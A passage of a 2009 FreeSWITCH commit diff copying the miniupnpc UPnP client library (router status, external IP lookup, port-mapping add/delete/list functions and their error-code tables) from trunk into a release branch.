+		return UPNPCOMMAND_INVALID_ARGS;
+
+	simpleUPnPcommand(-1, controlURL, servicetype, "GetStatusInfo", 0, buffer, &bufsize);
+	ParseNameValue(buffer, bufsize, &pdata);
+	/*DisplayNameValueList(buffer, bufsize);*/
+	up = GetValueFromNameValueList(&pdata, "NewUptime");
+	p = GetValueFromNameValueList(&pdata, "NewConnectionStatus");
+	err = GetValueFromNameValueList(&pdata, "NewLastConnectionError");
+	if(p && up)
+	  ret = UPNPCOMMAND_SUCCESS;
+
+	if(status) {
+		if(p){
+			strncpy(status, p, 64 );
+			status[63] = '\0';
+		}else
+			status[0]= '\0';
+	}
+
+	if(uptime) {
+		if(up)
+			sscanf(up,"%u",uptime);
+		else
+			uptime = 0;
+	}
+
+	if(lastconnerror) {
+		if(err) {
+			strncpy(lastconnerror, err, 64 );
+			lastconnerror[63] = '\0';
+		} else
+			lastconnerror[0] = '\0';
+	}
+
+	p = GetValueFromNameValueList(&pdata, "errorCode");
+	if(p) {
+		ret = UPNPCOMMAND_UNKNOWN_ERROR;
+		sscanf(p, "%d", &ret);
+	}
+	ClearNameValueList(&pdata);
+	return ret;
+}
+
+/* UPNP_GetConnectionTypeInfo() call the corresponding UPNP method
+ * returns the connection type */
+int UPNP_GetConnectionTypeInfo(const char * controlURL,
+                               const char * servicetype,
+                               char * connectionType)
+{
+	struct NameValueParserData pdata;
+	char buffer[4096];
+	int bufsize = 4096;
+	char * p;
+	int ret = UPNPCOMMAND_UNKNOWN_ERROR;
+
+	if(!connectionType)
+		return UPNPCOMMAND_INVALID_ARGS;
+
+	simpleUPnPcommand(-1, controlURL, servicetype,
+	                  "GetConnectionTypeInfo", 0, buffer, &bufsize);
+	ParseNameValue(buffer, bufsize, &pdata);
+	p = GetValueFromNameValueList(&pdata, "NewConnectionType");
+	/*p = GetValueFromNameValueList(&pdata, "NewPossibleConnectionTypes");*/
+	/* PossibleConnectionTypes will have several values.... */
+	if(p) {
+		strncpy(connectionType, p, 64 );
+		connectionType[63] = '\0';
+		ret = UPNPCOMMAND_SUCCESS;
+	} else
+		connectionType[0] = '\0';
+	p = GetValueFromNameValueList(&pdata, "errorCode");
+	if(p) {
+		ret = UPNPCOMMAND_UNKNOWN_ERROR;
+		sscanf(p, "%d", &ret);
+	}
+	ClearNameValueList(&pdata);
+	return ret;
+}
+
+/* UPNP_GetLinkLayerMaxBitRate() call the corresponding UPNP method.
+ * Returns 2 values: Downloadlink bandwidth and Uplink bandwidth.
+ * One of the values can be null 
+ * Note : GetLinkLayerMaxBitRates belongs to WANPPPConnection:1 only 
+ * We can use the GetCommonLinkProperties from WANCommonInterfaceConfig:1 */
+int UPNP_GetLinkLayerMaxBitRates(const char * controlURL, const char * servicetype, unsigned int * bitrateDown, unsigned int* bitrateUp)
+{
+	struct NameValueParserData pdata;
+	char buffer[4096];
+	int bufsize = 4096;
+	int ret = UPNPCOMMAND_UNKNOWN_ERROR;
+	char * down;
+	char * up;
+	char * p;
+
+	if(!bitrateDown && !bitrateUp)
+		return UPNPCOMMAND_INVALID_ARGS;
+
+	/* shouldn't we use GetCommonLinkProperties ? */
+	simpleUPnPcommand(-1, controlURL, servicetype,
+	                  "GetCommonLinkProperties", 0, buffer, &bufsize);
+	                  /*"GetLinkLayerMaxBitRates", 0, buffer, &bufsize);*/
+	/*DisplayNameValueList(buffer, bufsize);*/
+	ParseNameValue(buffer, bufsize, &pdata);
+	/*down = GetValueFromNameValueList(&pdata, "NewDownstreamMaxBitRate");*/
+	/*up = GetValueFromNameValueList(&pdata, "NewUpstreamMaxBitRate");*/
+	down = GetValueFromNameValueList(&pdata, "NewLayer1DownstreamMaxBitRate");
+	up = GetValueFromNameValueList(&pdata, "NewLayer1UpstreamMaxBitRate");
+	/*GetValueFromNameValueList(&pdata, "NewWANAccessType");*/
+	/*GetValueFromNameValueList(&pdata, "NewPhysicalLinkSatus");*/
+	if(down && up)
+		ret = UPNPCOMMAND_SUCCESS;
+
+	if(bitrateDown)
+	{
+		if(down)
+			sscanf(down,"%u",bitrateDown);
+		else
+			*bitrateDown = 0;
+	}
+
+	if(bitrateUp)
+	{
+		if(up)
+			sscanf(up,"%u",bitrateUp);
+		else
+			*bitrateUp = 0;
+	}
+	p = GetValueFromNameValueList(&pdata, "errorCode");
+	if(p) {
+		ret = UPNPCOMMAND_UNKNOWN_ERROR;
+		sscanf(p, "%d", &ret);
+	}
+	ClearNameValueList(&pdata);
+	return ret;
+}
+
+
+/* UPNP_GetExternalIPAddress() call the corresponding UPNP method.
+ * if the third arg is not null the value is copied to it.
+ * at least 16 bytes must be available
+ * 
+ * Return values :
+ * 0 : SUCCESS
+ * NON ZERO : ERROR Either an UPnP error code or an unknown error.
+ *
+ * 402 Invalid Args - See UPnP Device Architecture section on Control.
+ * 501 Action Failed - See UPnP Device Architecture section on Control.
+ */
+int UPNP_GetExternalIPAddress(const char * controlURL,
+                              const char * servicetype,
+							  char * extIpAdd)
+{
+	struct NameValueParserData pdata;
+	char buffer[4096];
+	int bufsize = 4096;
+	char * p;
+	int ret = UPNPCOMMAND_UNKNOWN_ERROR;
+
+	if(!extIpAdd || !controlURL || !servicetype)
+		return UPNPCOMMAND_INVALID_ARGS;
+
+	simpleUPnPcommand(-1, controlURL, servicetype, "GetExternalIPAddress", 0, buffer, &bufsize);
+	/*DisplayNameValueList(buffer, bufsize);*/
+	ParseNameValue(buffer, bufsize, &pdata);
+	/*printf("external ip = %s\n", GetValueFromNameValueList(&pdata, "NewExternalIPAddress") );*/
+	p = GetValueFromNameValueList(&pdata, "NewExternalIPAddress");
+	if(p) {
+		strncpy(extIpAdd, p, 16 );
+		extIpAdd[15] = '\0';
+		ret = UPNPCOMMAND_SUCCESS;
+	} else
+		extIpAdd[0] = '\0';
+
+	p = GetValueFromNameValueList(&pdata, "errorCode");
+	if(p) {
+		ret = UPNPCOMMAND_UNKNOWN_ERROR;
+		sscanf(p, "%d", &ret);
+	}
+
+	ClearNameValueList(&pdata);
+	return ret;
+}
+
+int
+UPNP_AddPortMapping(const char * controlURL, const char * servicetype,
+                    const char * extPort,
+					const char * inPort,
+					const char * inClient,
+					const char * desc,
+					const char * proto,
+                    const char * remoteHost)
+{
+	struct UPNParg * AddPortMappingArgs;
+	char buffer[4096];
+	int bufsize = 4096;
+	struct NameValueParserData pdata;
+	const char * resVal;
+	int ret;
+
+	if(!inPort || !inClient || !proto || !extPort)
+		return UPNPCOMMAND_INVALID_ARGS;
+
+	AddPortMappingArgs = calloc(9, sizeof(struct UPNParg));
+	AddPortMappingArgs[0].elt = "NewRemoteHost";
+	AddPortMappingArgs[0].val = remoteHost;
+	AddPortMappingArgs[1].elt = "NewExternalPort";
+	AddPortMappingArgs[1].val = extPort;
+	AddPortMappingArgs[2].elt = "NewProtocol";
+	AddPortMappingArgs[2].val = proto;
+	AddPortMappingArgs[3].elt = "NewInternalPort";
+	AddPortMappingArgs[3].val = inPort;
+	AddPortMappingArgs[4].elt = "NewInternalClient";
+	AddPortMappingArgs[4].val = inClient;
+	AddPortMappingArgs[5].elt = "NewEnabled";
+	AddPortMappingArgs[5].val = "1";
+	AddPortMappingArgs[6].elt = "NewPortMappingDescription";
+	AddPortMappingArgs[6].val = desc?desc:"libminiupnpc";
+	AddPortMappingArgs[7].elt = "NewLeaseDuration";
+	AddPortMappingArgs[7].val = "0";
+	simpleUPnPcommand(-1, controlURL, servicetype, "AddPortMapping", AddPortMappingArgs, buffer, &bufsize);
+	/*DisplayNameValueList(buffer, bufsize);*/
+	/*buffer[bufsize] = '\0';*/
+	/*puts(buffer);*/
+	ParseNameValue(buffer, bufsize, &pdata);
+	resVal = GetValueFromNameValueList(&pdata, "errorCode");
+	if(resVal) {
+		/*printf("AddPortMapping errorCode = '%s'\n", resVal); */
+		ret = UPNPCOMMAND_UNKNOWN_ERROR;
+		sscanf(resVal, "%d", &ret);
+	} else {
+		ret = UPNPCOMMAND_SUCCESS;
+	}
+	ClearNameValueList(&pdata);
+	free(AddPortMappingArgs);
+	return ret;
+}
+
+int
+UPNP_DeletePortMapping(const char * controlURL, const char * servicetype,
+                       const char * extPort, const char * proto,
+                       const char * remoteHost)
+{
+	/*struct NameValueParserData pdata;*/
+	struct UPNParg * DeletePortMappingArgs;
+	char buffer[4096];
+	int bufsize = 4096;
+	struct NameValueParserData pdata;
+	const char * resVal;
+	int ret;
+
+	if(!extPort || !proto)
+		return UPNPCOMMAND_INVALID_ARGS;
+
+	DeletePortMappingArgs = calloc(4, sizeof(struct UPNParg));
+	DeletePortMappingArgs[0].elt = "NewRemoteHost";
+	DeletePortMappingArgs[0].val = remoteHost;
+	DeletePortMappingArgs[1].elt = "NewExternalPort";
+	DeletePortMappingArgs[1].val = extPort;
+	DeletePortMappingArgs[2].elt = "NewProtocol";
+	DeletePortMappingArgs[2].val = proto;
+	simpleUPnPcommand(-1, controlURL, servicetype,
+	                  "DeletePortMapping",
+					  DeletePortMappingArgs, buffer, &bufsize);
+	/*DisplayNameValueList(buffer, bufsize);*/
+	ParseNameValue(buffer, bufsize, &pdata);
+	resVal = GetValueFromNameValueList(&pdata, "errorCode");
+	if(resVal) {
+		ret = UPNPCOMMAND_UNKNOWN_ERROR;
+		sscanf(resVal, "%d", &ret);
+	} else {
+		ret = UPNPCOMMAND_SUCCESS;
+	}
+	ClearNameValueList(&pdata);
+	free(DeletePortMappingArgs);
+	return ret;
+}
+
+int UPNP_GetGenericPortMappingEntry(const char * controlURL,
+                                     const char * servicetype,
+									 const char * index,
+									 char * extPort,
+									 char * intClient,
+									 char * intPort,
+									 char * protocol,
+									 char * desc,
+									 char * enabled,
+									 char * rHost,
+									 char * duration)
+{
+	struct NameValueParserData pdata;
+	struct UPNParg * GetPortMappingArgs;
+	char buffer[4096];
+	int bufsize = 4096;
+	char * p;
+	int r = UPNPCOMMAND_UNKNOWN_ERROR;
+	if(!index)
+		return UPNPCOMMAND_INVALID_ARGS;
+	intClient[0] = '\0';
+	intPort[0] = '\0';
+	GetPortMappingArgs = calloc(2, sizeof(struct UPNParg));
+	GetPortMappingArgs[0].elt = "NewPortMappingIndex";
+	GetPortMappingArgs[0].val = index;
+	simpleUPnPcommand(-1, controlURL, servicetype,
+	                  "GetGenericPortMappingEntry",
+					  GetPortMappingArgs, buffer, &bufsize);
+	ParseNameValue(buffer, bufsize, &pdata);
+	p = GetValueFromNameValueList(&pdata, "NewRemoteHost");
+	if(p && rHost)
+	{
+		strncpy(rHost, p, 64);
+		rHost[63] = '\0';
+	}
+	p = GetValueFromNameValueList(&pdata, "NewExternalPort");
+	if(p && extPort)
+	{
+		strncpy(extPort, p, 6);
+		extPort[5] = '\0';
+		r = UPNPCOMMAND_SUCCESS;
+	}
+	p = GetValueFromNameValueList(&pdata, "NewProtocol");
+	if(p && protocol)
+	{
+		strncpy(protocol, p, 4);
+		protocol[3] = '\0';
+	}
+	p = GetValueFromNameValueList(&pdata, "NewInternalClient");
+	if(p && intClient)
+	{
+		strncpy(intClient, p, 16);
+		intClient[15] = '\0';
+		r = 0;
+	}
+	p = GetValueFromNameValueList(&pdata, "NewInternalPort");
+	if(p && intPort)
+	{
+		strncpy(intPort, p, 6);
+		intPort[5] = '\0';
+	}
+	p = GetValueFromNameValueList(&pdata, "NewEnabled");
+	if(p && enabled)
+	{
+		strncpy(enabled, p, 4);
+		enabled[3] = '\0';
+	}
+	p = GetValueFromNameValueList(&pdata, "NewPortMappingDescription");
+	if(p && desc)
+	{
+		strncpy(desc, p, 80);
+		desc[79] = '\0';
+	}
+	p = GetValueFromNameValueList(&pdata, "NewLeaseDuration");
+	if(p && duration)
+	{
+		strncpy(duration, p, 16);
+		duration[15] = '\0';
+	}
+	p = GetValueFromNameValueList(&pdata, "errorCode");
+	if(p) {
+		r = UPNPCOMMAND_UNKNOWN_ERROR;
+		sscanf(p, "%d", &r);
+	}
+	ClearNameValueList(&pdata);
+	free(GetPortMappingArgs);
+	return r;
+}
+
+int UPNP_GetPortMappingNumberOfEntries(const char * controlURL, const char * servicetype, unsigned int * numEntries)
+{
+ 	struct NameValueParserData pdata;
+ 	char buffer[4096];
+ 	int bufsize = 4096;
+ 	char* p;
+	int ret = UPNPCOMMAND_UNKNOWN_ERROR;
+ 	simpleUPnPcommand(-1, controlURL, servicetype, "GetPortMappingNumberOfEntries", 0, buffer, &bufsize);
+#ifdef DEBUG
+	DisplayNameValueList(buffer, bufsize);
+#endif
+ 	ParseNameValue(buffer, bufsize, &pdata);
+
+ 	p = GetValueFromNameValueList(&pdata, "NewPortMappingNumberOfEntries");
+ 	if(numEntries && p) {
+		*numEntries = 0;
+ 		sscanf(p, "%u", numEntries);
+		ret = UPNPCOMMAND_SUCCESS;
+ 	}
+
+	p = GetValueFromNameValueList(&pdata, "errorCode");
+	if(p) {
+		ret = UPNPCOMMAND_UNKNOWN_ERROR;
+		sscanf(p, "%d", &ret);
+	}
+
+ 	ClearNameValueList(&pdata);
+	return ret;
+}
+
+/* UPNP_GetSpecificPortMappingEntry retrieves an existing port mapping
+ * the result is returned in the intClient and intPort strings
+ * please provide 16 and 6 bytes of data */
+int
+UPNP_GetSpecificPortMappingEntry(const char * controlURL,
+                                 const char * servicetype,
+                                 const char * extPort,
+							     const char * proto,
+                                 char * intClient,
+                                 char * intPort)
+{
+	struct NameValueParserData pdata;
+	struct UPNParg * GetPortMappingArgs;
+	char buffer[4096];
+	int bufsize = 4096;
+	char * p;
+	int ret = UPNPCOMMAND_UNKNOWN_ERROR;
+
+	if(!intPort || !intClient || !extPort || !proto)
+		return UPNPCOMMAND_INVALID_ARGS;
+
+	GetPortMappingArgs = calloc(4, sizeof(struct UPNParg));
+	GetPortMappingArgs[0].elt = "NewRemoteHost";
+	GetPortMappingArgs[1].elt = "NewExternalPort";
+	GetPortMappingArgs[1].val = extPort;
+	GetPortMappingArgs[2].elt = "NewProtocol";
+	GetPortMappingArgs[2].val = proto;
+	simpleUPnPcommand(-1, controlURL, servicetype,
+	                  "GetSpecificPortMappingEntry",
+					  GetPortMappingArgs, buffer, &bufsize);
+	/*fd = simpleUPnPcommand(fd, controlURL, data.servicetype, "GetSpecificPortMappingEntry", AddPortMappingArgs, buffer, &bufsize); */
+	/*DisplayNameValueList(buffer, bufsize);*/
+	ParseNameValue(buffer, bufsize, &pdata);
+
+	p = GetValueFromNameValueList(&pdata, "NewInternalClient");
+	if(p) {
+		strncpy(intClient, p, 16);
+		intClient[15] = '\0';
+		ret = UPNPCOMMAND_SUCCESS;
+	} else
+		intClient[0] = '\0';
+
+	p = GetValueFromNameValueList(&pdata, "NewInternalPort");
+	if(p) {
+		strncpy(intPort, p, 6);
+		intPort[5] = '\0';
+	} else
+		intPort[0] = '\0';
+
+	p = GetValueFromNameValueList(&pdata, "errorCode");
+	if(p) {
+		ret = UPNPCOMMAND_UNKNOWN_ERROR;
+		sscanf(p, "%d", &ret);
+	}
+
+	ClearNameValueList(&pdata);
+	free(GetPortMappingArgs);
+	return ret;
+}
+
+

Deleted: freeswitch/branches/seven/libs/miniupnpc/upnpcommands.h

Copied: freeswitch/branches/seven/libs/miniupnpc/upnpcommands.h (from rev 14471, freeswitch/trunk/libs/miniupnpc/upnpcommands.h) (0 => 14472)


--- freeswitch/branches/seven/libs/miniupnpc/upnpcommands.h	                        (rev 0)
+++ freeswitch/branches/seven/libs/miniupnpc/upnpcommands.h	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,193 @@
+/* $Id: upnpcommands.h,v 1.17 2009/04/17 21:21:19 nanard Exp $ */
+/* Miniupnp project : http://miniupnp.free.fr/
+ * Author : Thomas Bernard
+ * Copyright (c) 2005-2008 Thomas Bernard
+ * This software is subject to the conditions detailed in the
+ * LICENCE file provided within this distribution */
+#ifndef __UPNPCOMMANDS_H__
+#define __UPNPCOMMANDS_H__
+
+#include "upnpreplyparse.h"
+#include "declspec.h"
+
+/* MiniUPnPc return codes : */
+#define UPNPCOMMAND_SUCCESS (0)
+#define UPNPCOMMAND_UNKNOWN_ERROR (-1)
+#define UPNPCOMMAND_INVALID_ARGS (-2)
+
+#ifdef __cplusplus
+extern "C" {
+#endif
+
+#if (defined __STDC_VERSION__ && __STDC_VERSION__ >= 199901L)
+#define UNSIGNED_INTEGER unsigned long long
+#define STRTOUI	strtoull
+#else
+#define UNSIGNED_INTEGER unsigned int
+#define STRTOUI	strtoul
+#endif
+
+LIBSPEC UNSIGNED_INTEGER
+UPNP_GetTotalBytesSent(const char * controlURL,
+					const char * servicetype);
+
+LIBSPEC UNSIGNED_INTEGER
+UPNP_GetTotalBytesReceived(const char * controlURL,
+						const char * servicetype);
+
+LIBSPEC UNSIGNED_INTEGER
+UPNP_GetTotalPacketsSent(const char * controlURL,
+					const char * servicetype);
+
+LIBSPEC UNSIGNED_INTEGER
+UPNP_GetTotalPacketsReceived(const char * controlURL,
+					const char * servicetype);
+
+/* UPNP_GetStatusInfo()
+ * status and lastconnerror are 64 byte buffers
+ * Return values :
+ * UPNPCOMMAND_SUCCESS, UPNPCOMMAND_INVALID_ARGS, UPNPCOMMAND_UNKNOWN_ERROR
+ * or a UPnP Error code */
+LIBSPEC int
+UPNP_GetStatusInfo(const char * controlURL,
+			       const char * servicetype,
+				   char * status,
+				   unsigned int * uptime,
+                   char * lastconnerror);
+
+/* UPNP_GetConnectionTypeInfo()
+ * argument connectionType is a 64 character buffer
+ * Return Values :
+ * UPNPCOMMAND_SUCCESS, UPNPCOMMAND_INVALID_ARGS, UPNPCOMMAND_UNKNOWN_ERROR
+ * or a UPnP Error code */
+LIBSPEC int
+UPNP_GetConnectionTypeInfo(const char * controlURL,
+                           const char * servicetype,
+						   char * connectionType);
+
+/* UPNP_GetExternalIPAddress() call the corresponding UPNP method.
+ * if the third arg is not null the value is copied to it.
+ * at least 16 bytes must be available 
+ *
+ * Return values :
+ * 0 : SUCCESS
+ * NON ZERO : ERROR Either an UPnP error code or an unknown error.
+ * 
+ * possible UPnP Errors :
+ * 402 Invalid Args - See UPnP Device Architecture section on Control.
+ * 501 Action Failed - See UPnP Device Architecture section on Control. */
+LIBSPEC int
+UPNP_GetExternalIPAddress(const char * controlURL,
+                          const char * servicetype,
+                          char * extIpAdd);
+
+/* UPNP_GetLinkLayerMaxBitRates()
+ * call WANCommonInterfaceConfig:1#GetCommonLinkProperties
+ *
+ * return values :
+ * UPNPCOMMAND_SUCCESS, UPNPCOMMAND_INVALID_ARGS, UPNPCOMMAND_UNKNOWN_ERROR
+ * or a UPnP Error Code. */
+LIBSPEC int
+UPNP_GetLinkLayerMaxBitRates(const char* controlURL,
+							const char* servicetype,
+							unsigned int * bitrateDown,
+							unsigned int * bitrateUp);
+
+/* UPNP_AddPortMapping()
+ * if desc is NULL, it will be defaulted to "libminiupnpc"
+ * remoteHost is usually NULL because IGD don't support it.
+ *
+ * Return values :
+ * 0 : SUCCESS
+ * NON ZERO : ERROR. Either an UPnP error code or an unknown error.
+ * 
+ * List of possible UPnP errors for AddPortMapping :
+ * errorCode errorDescription (short) - Description (long)
+ * 402 Invalid Args - See UPnP Device Architecture section on Control.
+ * 501 Action Failed - See UPnP Device Architecture section on Control.
+ * 715 WildCardNotPermittedInSrcIP - The source IP address cannot be
+ *                                   wild-carded
+ * 716 WildCardNotPermittedInExtPort - The external port cannot be wild-carded
+ * 718 ConflictInMappingEntry - The port mapping entry specified conflicts
+ *                     with a mapping assigned previously to another client
+ * 724 SamePortValuesRequired - Internal and External port values
+ *                              must be the same 
+ * 725 OnlyPermanentLeasesSupported - The NAT implementation only supports
+ *                  permanent lease times on port mappings
+ * 726 RemoteHostOnlySupportsWildcard - RemoteHost must be a wildcard
+ *                             and cannot be a specific IP address or DNS name
+ * 727 ExternalPortOnlySupportsWildcard - ExternalPort must be a wildcard and
+ *                                        cannot be a specific port value */
+LIBSPEC int
+UPNP_AddPortMapping(const char * controlURL, const char * servicetype,
+                    const char * extPort,
+				    const char * inPort,
+					const char * inClient,
+					const char * desc,
+                    const char * proto,
+                    const char * remoteHost);
+
+/* UPNP_DeletePortMapping()
+ * Use same argument values as what was used for AddPortMapping().
+ * remoteHost is usually NULL because IGD don't support it.
+ * Return Values :
+ * 0 : SUCCESS
+ * NON ZERO : error. Either an UPnP error code or an undefined error.
+ *
+ * List of possible UPnP errors for DeletePortMapping :
+ * 402 Invalid Args - See UPnP Device Architecture section on Control.
+ * 714 NoSuchEntryInArray - The specified value does not exist in the array */
+LIBSPEC int
+UPNP_DeletePortMapping(const char * controlURL, const char * servicetype,
+                       const char * extPort, const char * proto,
+                       const char * remoteHost);
+
+/* UPNP_GetPortMappingNumberOfEntries()
+ * not supported by all routers */
+LIBSPEC int
+UPNP_GetPortMappingNumberOfEntries(const char* controlURL, const char* servicetype, unsigned int * num);
+
+/* UPNP_GetSpecificPortMappingEntry retrieves an existing port mapping
+ * the result is returned in the intClient and intPort strings
+ * please provide 16 and 6 bytes of data
+ *
+ * return value :
+ * UPNPCOMMAND_SUCCESS, UPNPCOMMAND_INVALID_ARGS, UPNPCOMMAND_UNKNOWN_ERROR
+ * or a UPnP Error Code. */
+LIBSPEC int
+UPNP_GetSpecificPortMappingEntry(const char * controlURL,
+                                 const char * servicetype,
+                                 const char * extPort,
+                                 const char * proto,
+                                 char * intClient,
+                                 char * intPort);
+
+/* UPNP_GetGenericPortMappingEntry()
+ *
+ * return value :
+ * UPNPCOMMAND_SUCCESS, UPNPCOMMAND_INVALID_ARGS, UPNPCOMMAND_UNKNOWN_ERROR
+ * or a UPnP Error Code.
+ *
+ * Possible UPNP Error codes :
+ * 402 Invalid Args - See UPnP Device Architecture section on Control.
+ * 713 SpecifiedArrayIndexInvalid - The specified array index is out of bounds
+ */
+LIBSPEC int
+UPNP_GetGenericPortMappingEntry(const char * controlURL,
+                                const char * servicetype,
+								const char * index,
+								char * extPort,
+								char * intClient,
+								char * intPort,
+								char * protocol,
+								char * desc,
+								char * enabled,
+								char * rHost,
+								char * duration);
+
+#ifdef __cplusplus
+}
+#endif
+
+#endif
+

Deleted: freeswitch/branches/seven/libs/miniupnpc/upnperrors.c

Copied: freeswitch/branches/seven/libs/miniupnpc/upnperrors.c (from rev 14471, freeswitch/trunk/libs/miniupnpc/upnperrors.c) (0 => 14472)


--- freeswitch/branches/seven/libs/miniupnpc/upnperrors.c	                        (rev 0)
+++ freeswitch/branches/seven/libs/miniupnpc/upnperrors.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,66 @@
+/* $Id: upnperrors.c,v 1.3 2008/04/27 17:21:51 nanard Exp $ */
+/* Project : miniupnp
+ * Author : Thomas BERNARD
+ * copyright (c) 2007 Thomas Bernard
+ * All Right reserved.
+ * http://miniupnp.free.fr/ or http://miniupnp.tuxfamily.org/
+ * This software is subjet to the conditions detailed in the
+ * provided LICENCE file. */
+#include <string.h>
+#include "upnperrors.h"
+#include "upnpcommands.h"
+
+const char * strupnperror(int err)
+{
+	const char * s = NULL;
+	switch(err) {
+	case UPNPCOMMAND_SUCCESS:
+		s = "Success";
+		break;
+	case UPNPCOMMAND_UNKNOWN_ERROR:
+		s = "Miniupnpc Unknown Error";
+		break;
+	case UPNPCOMMAND_INVALID_ARGS:
+		s = "Miniupnpc Invalid Arguments";
+		break;
+	case 401:
+		s = "Invalid Action";
+		break;
+	case 402:
+		s = "Invalid Args";
+		break;
+	case 501:
+		s = "Action Failed";
+		break;
+	case 713:
+		s = "SpecifiedArrayIndexInvalid";
+		break;
+	case 714:
+		s = "NoSuchEntryInArray";
+		break;
+	case 715:
+		s = "WildCardNotPermittedInSrcIP";
+		break;
+	case 716:
+		s = "WildCardNotPermittedInExtPort";
+		break;
+	case 718:
+		s = "ConflictInMappingEntry";
+		break;
+	case 724:
+		s = "SamePortValuesRequired";
+		break;
+	case 725:
+		s = "OnlyPermanentLeasesSupported";
+		break;
+	case 726:
+		s = "RemoteHostOnlySupportsWildcard";
+		break;
+	case 727:
+		s = "ExternalPortOnlySupportsWildcard";
+		break;
+	default:
+		s = NULL;
+	}
+	return s;
+}

Deleted: freeswitch/branches/seven/libs/miniupnpc/upnperrors.h

Copied: freeswitch/branches/seven/libs/miniupnpc/upnperrors.h (from rev 14471, freeswitch/trunk/libs/miniupnpc/upnperrors.h) (0 => 14472)


--- freeswitch/branches/seven/libs/miniupnpc/upnperrors.h	                        (rev 0)
+++ freeswitch/branches/seven/libs/miniupnpc/upnperrors.h	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,26 @@
+/* $Id: upnperrors.h,v 1.2 2008/07/02 23:31:15 nanard Exp $ */
+/* (c) 2007 Thomas Bernard
+ * All rights reserved.
+ * MiniUPnP Project.
+ * http://miniupnp.free.fr/ or http://miniupnp.tuxfamily.org/
+ * This software is subjet to the conditions detailed in the
+ * provided LICENCE file. */
+#ifndef __UPNPERRORS_H__
+#define __UPNPERRORS_H__
+
+#include "declspec.h"
+
+#ifdef __cplusplus
+extern "C" {
+#endif
+
+/* strupnperror()
+ * Return a string description of the UPnP error code 
+ * or NULL for undefinded errors */
+LIBSPEC const char * strupnperror(int err);
+
+#ifdef __cplusplus
+}
+#endif
+
+#endif

Deleted: freeswitch/branches/seven/libs/miniupnpc/upnpreplyparse.c

Copied: freeswitch/branches/seven/libs/miniupnpc/upnpreplyparse.c (from rev 14471, freeswitch/trunk/libs/miniupnpc/upnpreplyparse.c) (0 => 14472)


--- freeswitch/branches/seven/libs/miniupnpc/upnpreplyparse.c	                        (rev 0)
+++ freeswitch/branches/seven/libs/miniupnpc/upnpreplyparse.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,127 @@
+/* $Id: upnpreplyparse.c,v 1.10 2008/02/21 13:05:27 nanard Exp $ */
+/* MiniUPnP project
+ * http://miniupnp.free.fr/ or http://miniupnp.tuxfamily.org/
+ * (c) 2006 Thomas Bernard 
+ * This software is subject to the conditions detailed
+ * in the LICENCE file provided within the distribution */
+
+#include <stdlib.h>
+#include <string.h>
+#include <stdio.h>
+
+#include "upnpreplyparse.h"
+#include "minixml.h"
+
+static void
+NameValueParserStartElt(void * d, const char * name, int l)
+{
+    struct NameValueParserData * data = (struct NameValueParserData *)d;
+    if(l>63)
+        l = 63;
+    memcpy(data->curelt, name, l);
+    data->curelt[l] = '\0';
+}
+
+static void
+NameValueParserGetData(void * d, const char * datas, int l)
+{
+    struct NameValueParserData * data = (struct NameValueParserData *)d;
+    struct NameValue * nv;
+    nv = malloc(sizeof(struct NameValue));
+    if(l>63)
+        l = 63;
+    strncpy(nv->name, data->curelt, 64);
+	nv->name[63] = '\0';
+    memcpy(nv->value, datas, l);
+    nv->value[l] = '\0';
+    LIST_INSERT_HEAD( &(data->head), nv, entries);
+}
+
+void
+ParseNameValue(const char * buffer, int bufsize,
+                    struct NameValueParserData * data)
+{
+    struct xmlparser parser;
+    LIST_INIT(&(data->head));
+    /* init xmlparser object */
+    parser.xmlstart = buffer;
+    parser.xmlsize = bufsize;
+    parser.data = data;
+    parser.starteltfunc = NameValueParserStartElt;
+    parser.endeltfunc = 0;
+    parser.datafunc = NameValueParserGetData;
+	parser.attfunc = 0;
+    parsexml(&parser);
+}
+
+void
+ClearNameValueList(struct NameValueParserData * pdata)
+{
+    struct NameValue * nv;
+    while((nv = pdata->head.lh_first) != NULL)
+    {
+        LIST_REMOVE(nv, entries);
+        free(nv);
+    }
+}
+
+char * 
+GetValueFromNameValueList(struct NameValueParserData * pdata,
+                          const char * Name)
+{
+    struct NameValue * nv;
+    char * p = NULL;
+    for(nv = pdata->head.lh_first;
+        (nv != NULL) && (p == NULL);
+        nv = nv->entries.le_next)
+    {
+        if(strcmp(nv->name, Name) == 0)
+            p = nv->value;
+    }
+    return p;
+}
+
+#if 0
+/* useless now that minixml ignores namespaces by itself */
+char *
+GetValueFromNameValueListIgnoreNS(struct NameValueParserData * pdata,
+                                  const char * Name)
+{
+	struct NameValue * nv;
+	char * p = NULL;
+	char * pname;
+	for(nv = pdata->head.lh_first;
+	    (nv != NULL) && (p == NULL);
+		nv = nv->entries.le_next)
+	{
+		pname = strrchr(nv->name, ':');
+		if(pname)
+			pname++;
+		else
+			pname = nv->name;
+		if(strcmp(pname, Name)==0)
+			p = nv->value;
+	}
+	return p;
+}
+#endif
+
+/* debug all-in-one function 
+ * do parsing then display to stdout */
+#ifdef DEBUG
+void
+DisplayNameValueList(char * buffer, int bufsize)
+{
+    struct NameValueParserData pdata;
+    struct NameValue * nv;
+    ParseNameValue(buffer, bufsize, &pdata);
+    for(nv = pdata.head.lh_first;
+        nv != NULL;
+        nv = nv->entries.le_next)
+    {
+        printf("%s = %s\n", nv->name, nv->value);
+    }
+    ClearNameValueList(&pdata);
+}
+#endif
+

Deleted: freeswitch/branches/seven/libs/miniupnpc/upnpreplyparse.h

Copied: freeswitch/branches/seven/libs/miniupnpc/upnpreplyparse.h (from rev 14471, freeswitch/trunk/libs/miniupnpc/upnpreplyparse.h) (0 => 14472)


--- freeswitch/branches/seven/libs/miniupnpc/upnpreplyparse.h	                        (rev 0)
+++ freeswitch/branches/seven/libs/miniupnpc/upnpreplyparse.h	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,62 @@
+/* $Id: upnpreplyparse.h,v 1.8 2008/02/21 13:05:27 nanard Exp $ */
+/* MiniUPnP project
+ * http://miniupnp.free.fr/ or http://miniupnp.tuxfamily.org/
+ * (c) 2006 Thomas Bernard 
+ * This software is subject to the conditions detailed
+ * in the LICENCE file provided within the distribution */
+
+#ifndef __UPNPREPLYPARSE_H__
+#define __UPNPREPLYPARSE_H__
+
+#if defined(NO_SYS_QUEUE_H) || defined(WIN32)
+#include "bsdqueue.h"
+#else
+#include <sys/queue.h>
+#endif
+
+#ifdef __cplusplus
